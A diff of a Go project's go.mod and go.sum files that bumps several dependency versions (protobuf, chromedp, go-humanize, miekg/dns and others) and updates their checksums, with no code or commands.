@@ -70,18 +70,18 @@ require (
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
|
||||
github.com/desertbit/closer/v3 v3.1.2 // indirect
|
||||
github.com/dlclark/regexp2 v1.4.0 // indirect
|
||||
github.com/dustin/go-humanize v1.0.0 // indirect
|
||||
github.com/dustin/go-humanize v1.0.1 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/go-sql-driver/mysql v1.7.0 // indirect
|
||||
github.com/gobwas/httphead v0.1.0 // indirect
|
||||
github.com/gobwas/pool v0.2.1 // indirect
|
||||
github.com/gobwas/ws v1.1.0 // indirect
|
||||
github.com/golang/protobuf v1.5.2 // indirect
|
||||
github.com/golang/protobuf v1.5.3 // indirect
|
||||
github.com/google/btree v1.0.1 // indirect
|
||||
github.com/hashicorp/errwrap v1.1.0 // indirect
|
||||
github.com/hashicorp/go-multierror v1.1.1 // indirect
|
||||
github.com/hashicorp/go-uuid v1.0.2 // indirect
|
||||
github.com/inconshreveable/mousetrap v1.0.1 // indirect
|
||||
github.com/inconshreveable/mousetrap v1.1.0 // indirect
|
||||
github.com/jackc/pgpassfile v1.0.0 // indirect
|
||||
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect
|
||||
github.com/jackc/pgx/v5 v5.3.0 // indirect
|
||||
@@ -101,11 +101,11 @@ require (
|
||||
github.com/rivo/uniseg v0.2.0 // indirect
|
||||
github.com/spf13/pflag v1.0.5 // indirect
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
golang.org/x/mod v0.7.0 // indirect
|
||||
golang.org/x/mod v0.8.0 // indirect
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
|
||||
golang.org/x/tools v0.3.0 // indirect
|
||||
golang.org/x/tools v0.6.0 // indirect
|
||||
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
|
||||
google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f // indirect
|
||||
google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4 // indirect
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
|
||||
@@ -115,7 +115,7 @@ require (
|
||||
lukechampine.com/uint128 v1.2.0 // indirect
|
||||
modernc.org/cc/v3 v3.40.0 // indirect
|
||||
modernc.org/ccgo/v3 v3.16.13 // indirect
|
||||
modernc.org/libc v1.22.3 // indirect
|
||||
modernc.org/libc v1.22.5 // indirect
|
||||
modernc.org/mathutil v1.5.0 // indirect
|
||||
modernc.org/memory v1.5.0 // indirect
|
||||
modernc.org/opt v0.1.3 // indirect
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
|
||||
cloud.google.com/go v0.105.0 h1:DNtEKRBAAzeS4KyIory52wWHuClNaXJ5x1F7xa4q+5Y=
|
||||
cloud.google.com/go/compute v1.15.1 h1:7UGq3QknM33pw5xATlpzeoomNxsacIVvTqTTvbfajmE=
|
||||
cloud.google.com/go v0.110.0 h1:Zc8gqp3+a9/Eyph2KDmcGaPtbKRIoqq4YTlL4NMD0Ys=
|
||||
cloud.google.com/go/compute v1.18.0 h1:FEigFqoDbys2cvFkZ9Fjq4gnHBP55anJ0yQyau2f9oY=
|
||||
cloud.google.com/go/compute/metadata v0.2.3 h1:mg4jlk7mCAj6xXp9UJ4fjI9VUI5rubuGBW5aJ7UnBMY=
|
||||
github.com/AlecAivazis/survey/v2 v2.0.5/go.mod h1:WYBhg6f0y/fNYUuesWQc0PKbJcEliGcYHB9sNT3Bg74=
|
||||
github.com/AlecAivazis/survey/v2 v2.3.6 h1:NvTuVHISgTHEHeBFqt6BHOe4Ny/NwGZr7w+F8S9ziyw=
|
||||
@@ -30,8 +30,8 @@ github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2 h1:+vx7roKuyA63n
|
||||
github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2/go.mod h1:HBCaDeC1lPdgDeDbhX8XFpy1jqjK0IBG8W5K+xYqA0w=
|
||||
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab h1:96tkQLYmgypA3W42fvC3UX3EoOP3hQZuT7d98lnnwyc=
|
||||
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab/go.mod h1:u1+HeRyl/gQs67eDgVEWNE7+x+zCyXhdtNVrRJR5YPE=
|
||||
github.com/VividCortex/ewma v1.1.1 h1:MnEK4VOv6n0RSY4vtRe3h11qjxL3+t0B8yOL8iMXdcM=
|
||||
github.com/VividCortex/ewma v1.1.1/go.mod h1:2Tkkvm3sRDVXaiyucHiACn4cqf7DpdyLvmxzcbUokwA=
|
||||
github.com/VividCortex/ewma v1.2.0 h1:f58SaIzcDXrSy3kWaHNvuJgJ3Nmz59Zji6XoJR/q1ow=
|
||||
github.com/VividCortex/ewma v1.2.0/go.mod h1:nz4BbCtbLyFDeC9SUHbtcT5644juEuWfUAUnGx7j5l4=
|
||||
github.com/akamensky/argparse v1.2.1/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
|
||||
github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
|
||||
github.com/alecthomas/chroma v0.10.0 h1:7XDcGkCQopCNKjZHfYrNLraA+M7e0fMiJ/Mfikbfjek=
|
||||
@@ -40,15 +40,16 @@ github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0e
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=
|
||||
github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc h1:biVzkmvwrH8WK8raXaxBx6fRVTlJILwEwQGL1I/ByEI=
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8=
|
||||
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
|
||||
github.com/cheggaaa/pb/v3 v3.1.0 h1:3uouEsl32RL7gTiQsuaXD4Bzbfl5tGztXGUvXbs4O04=
|
||||
github.com/cheggaaa/pb/v3 v3.1.0/go.mod h1:YjrevcBqadFDaGQKRdmZxTY42pXEqda48Ea3lt0K/BE=
|
||||
github.com/chromedp/cdproto v0.0.0-20230109101555-6b041c6303cc h1:pgBIUnhrsNh0Xi+8qUdHIP/nljIVz3laeRv23eqr45M=
|
||||
github.com/chromedp/cdproto v0.0.0-20230109101555-6b041c6303cc/go.mod h1:GKljq0VrfU4D5yc+2qA6OVr8pmO/MBbPEWqWQ/oqGEs=
|
||||
github.com/chromedp/chromedp v0.8.7 h1:dYOYc5ynTBzwSLOi+1IfgHwPr8r2BqV48l/RC+3OuJ0=
|
||||
github.com/chromedp/chromedp v0.8.7/go.mod h1:iL+ywnwk3eG3EVXV1ackXBMNzdEh3Ye/KHvQkq1KRKU=
|
||||
github.com/cheggaaa/pb/v3 v3.1.2 h1:FIxT3ZjOj9XJl0U4o2XbEhjFfZl7jCVCDOGq1ZAB7wQ=
|
||||
github.com/cheggaaa/pb/v3 v3.1.2/go.mod h1:SNjnd0yKcW+kw0brSusraeDd5Bf1zBfxAzTL2ss3yQ4=
|
||||
github.com/chromedp/cdproto v0.0.0-20230220211738-2b1ec77315c9 h1:wMSvdj3BswqfQOXp2R1bJOAE7xIQLt2dlMQDMf836VY=
|
||||
github.com/chromedp/cdproto v0.0.0-20230220211738-2b1ec77315c9/go.mod h1:GKljq0VrfU4D5yc+2qA6OVr8pmO/MBbPEWqWQ/oqGEs=
|
||||
github.com/chromedp/chromedp v0.9.1 h1:CC7cC5p1BeLiiS2gfNNPwp3OaUxtRMBjfiw3E3k6dFA=
|
||||
github.com/chromedp/chromedp v0.9.1/go.mod h1:DUgZWRvYoEfgi66CgZ/9Yv+psgi+Sksy5DTScENWjaQ=
|
||||
github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic=
|
||||
github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww=
|
||||
github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE=
|
||||
@@ -77,22 +78,22 @@ github.com/desertbit/readline v1.5.1 h1:/wOIZkWYl1s+IvJm/5bOknfUgs6MhS9svRNZpFM5
|
||||
github.com/desertbit/readline v1.5.1/go.mod h1:pHQgTsCFs9Cpfh5mlSUFi9Xa5kkL4d8L1Jo4UVWzPw0=
|
||||
github.com/dlclark/regexp2 v1.4.0 h1:F1rxgk7p4uKjwIQxBs9oAXe5CqrXlCduYEJvrF4u93E=
|
||||
github.com/dlclark/regexp2 v1.4.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
|
||||
github.com/dustin/go-humanize v1.0.0 h1:VSnTsYCnlFHaM2/igO1h6X3HA71jcobQuxemgkq4zYo=
|
||||
github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
|
||||
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
|
||||
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
|
||||
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
|
||||
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
|
||||
github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU=
|
||||
github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
|
||||
github.com/fatih/color v1.14.1 h1:qfhVLaG5s+nCROl1zJsZRxFeYrHLqWroPOQ8BWiNb4w=
|
||||
github.com/fatih/color v1.14.1/go.mod h1:2oHN61fhTpgcxD3TSWCgKDiH1+x4OiDVVGH8WlgGZGg=
|
||||
github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs=
|
||||
github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw=
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ=
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
|
||||
github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
|
||||
github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
|
||||
github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY=
|
||||
github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A=
|
||||
github.com/go-sql-driver/mysql v1.7.0 h1:ueSltNNllEqE3qcWBTD0iQd3IpL/6U+mJxLkazJ7YPc=
|
||||
github.com/go-sql-driver/mysql v1.7.0/go.mod h1:OXbVy3sEdcQ2Doequ6Z5BW6fXNQTmx+9S1MCJN5yJMI=
|
||||
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
|
||||
@@ -112,8 +113,8 @@ github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5y
|
||||
github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
||||
github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
|
||||
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
|
||||
github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw=
|
||||
github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
|
||||
github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg=
|
||||
github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
|
||||
github.com/google/btree v1.0.1 h1:gK4Kx5IaGY9CD5sPJ36FHiBJ6ZXl0kilRiiCj+jdYp4=
|
||||
github.com/google/btree v1.0.1/go.mod h1:xXMiIv4Fb/0kKde4SpL7qlzvu5cMJDRkFDxJfI9uaxA=
|
||||
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
|
||||
@@ -127,8 +128,8 @@ github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
|
||||
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/gorilla/mux v1.8.0 h1:i40aqfkR1h2SlN9hojwV5ZA91wcXFOvkdNIeFDP5koI=
|
||||
github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So=
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 h1:+9834+KizmvFV7pXQGSXQTsaWhq2GjuNUt0aUU0YBYw=
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0/go.mod h1:z0ButlSOZa5vEBq9m2m2hlwIgKw+rp3sdCBRoJY+30Y=
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0 h1:UH//fgunKIs4JdUbpDl1VZCDaL56wXCB/5+wF6uHfaI=
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0/go.mod h1:g5qyo/la0ALbONm6Vbp88Yd8NsDy6rZz+RcrMPxvld8=
|
||||
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
|
||||
github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I=
|
||||
github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
|
||||
@@ -142,8 +143,8 @@ github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174/go.mod h1:DqJ97dSdRW
|
||||
github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
|
||||
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec h1:qv2VnGeEQHchGaZ/u7lxST/RaJw+cv273q79D81Xbog=
|
||||
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec/go.mod h1:Q48J4R4DvxnHolD5P8pOtXigYlRuPLGl6moFx3ulM68=
|
||||
github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc=
|
||||
github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
|
||||
github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
|
||||
github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
|
||||
github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM=
|
||||
github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
|
||||
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a h1:bbPeKD0xmW/Y25WS6cokEszi5g+S0QxI/d45PkRi7Nk=
|
||||
@@ -153,11 +154,10 @@ github.com/jackc/pgx/v5 v5.3.0/go.mod h1:t3JDKnCBlYIc0ewLF0Q7B8MXmoIaBOZj/ic7iHo
|
||||
github.com/jackc/puddle/v2 v2.2.0/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFrfEOc3H4=
|
||||
github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
|
||||
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.4 h1:N+gz6UngBPF4M288kiMURPHELDMIhF/Em35aYuKrsSc=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.4/go.mod h1:MgmISkTWDSFu0xOqiZ0mKNntMQ2mDgOcwOkwBEkMDJI=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.6 h1:v6aG9h6Uby3IusSSEjHaZNXpHFhzqMmjXcPq1Rjl9Jw=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.6/go.mod h1:Ndk3ase2CkQbXLLNf5QDHoYb6J9WtVfmHZu9n8rk2xs=
|
||||
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
|
||||
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
|
||||
github.com/jinzhu/now v1.1.4/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ=
|
||||
github.com/jinzhu/now v1.1.5/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY=
|
||||
@@ -170,7 +170,6 @@ github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f/go.mod h1:f8GY5
|
||||
github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
|
||||
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
|
||||
github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
|
||||
github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc=
|
||||
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
|
||||
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
|
||||
github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0=
|
||||
@@ -182,6 +181,7 @@ github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
|
||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo=
|
||||
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80/go.mod h1:imJHygn/1yfhB7XSJJKlFZKl/J+dCPAknuiaGOshXAs=
|
||||
github.com/lesnuages/go-winio v0.4.19 h1:lFDu1mnhg5em+8zTHO4ChSD11J56xkyE8m3N8IrVmbA=
|
||||
github.com/lesnuages/go-winio v0.4.19/go.mod h1:rm7jf4kBcldxMeljR7c7XY1qVCBc+8z3PtSgkrT9Clk=
|
||||
github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193U=
|
||||
@@ -203,7 +203,6 @@ github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Ky
|
||||
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
|
||||
github.com/mattn/go-isatty v0.0.17 h1:BTarxUcIeDqL27Mc+vyvdWYSL28zpIhv3RoTdsLMPng=
|
||||
github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
|
||||
github.com/mattn/go-runewidth v0.0.12/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk=
|
||||
github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU=
|
||||
github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/mattn/go-sqlite3 v1.14.15/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
|
||||
@@ -214,8 +213,8 @@ github.com/mdlayher/netlink v1.6.0/go.mod h1:0o3PlBmGst1xve7wQ7j/hwpNaFaH4qCRyWC
|
||||
github.com/mdlayher/socket v0.1.1/go.mod h1:mYV5YIZAfHh4dzDVzI8x8tWLWCliuX8Mon5Awbj+qDs=
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b h1:j7+1HpAFS1zy5+Q4qx1fWh90gTKwiN4QCGoY9TWyyO4=
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
|
||||
github.com/miekg/dns v1.1.51 h1:0+Xg7vObnhrz/4ZCZcZh7zPXlmU0aveS2HDBd0m0qSo=
|
||||
github.com/miekg/dns v1.1.51/go.mod h1:2Z9d3CP1LQWihRZUf29mQ19yDThaI4DAYzte2CaQW5c=
|
||||
github.com/miekg/dns v1.1.54 h1:5jon9mWcb0sFJGpnI99tOMhCPyJ+RPVz5b63MQG0VWI=
|
||||
github.com/miekg/dns v1.1.54/go.mod h1:uInx36IzPl7FYnDcMeVWxj9byh7DutNykX4G9Sj60FY=
|
||||
github.com/mikioh/ipaddr v0.0.0-20190404000644-d465c8ab6721/go.mod h1:Ickgr2WtCLZ2MDGd4Gr0geeCH5HybhRJbonOgQpvSxc=
|
||||
github.com/moloch--/grumble v1.1.6 h1:FjPkuGOIwGL8nGkEH0EegnQgsl6Rn0R0fhBW/kcA0s8=
|
||||
github.com/moloch--/grumble v1.1.6/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
|
||||
@@ -224,6 +223,7 @@ github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4Ha
|
||||
github.com/nbutton23/zxcvbn-go v0.0.0-20180912185939-ae427f1e4c1d/go.mod h1:o96djdrsSGy3AWPyBgZMAGfxZNfgntdJG+11KU4QvbU=
|
||||
github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
|
||||
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw=
|
||||
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde/go.mod h1:nZgzbfBr3hhjoZnS66nKrHmduYNpc34ny7RK4z5/HM0=
|
||||
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/profile v1.6.0/go.mod h1:qBsxPvzyUincmltOk6iyRVxHYg4adc0OFOv72ZdLa18=
|
||||
@@ -235,7 +235,6 @@ github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
|
||||
github.com/rivo/uniseg v0.1.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||
github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
|
||||
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||
github.com/rogpeppe/go-internal v1.6.1 h1:/FiVV8dS/e+YqF2JvO3yXRFbBLTIuSDkuC7aBOAvL+k=
|
||||
@@ -245,8 +244,8 @@ github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6Mwd
|
||||
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
|
||||
github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0=
|
||||
github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
|
||||
github.com/spf13/cobra v1.6.1 h1:o94oiPyS4KD1mPy2fmcYYHHfCxLqYjJOhGsCHFZtEzA=
|
||||
github.com/spf13/cobra v1.6.1/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY=
|
||||
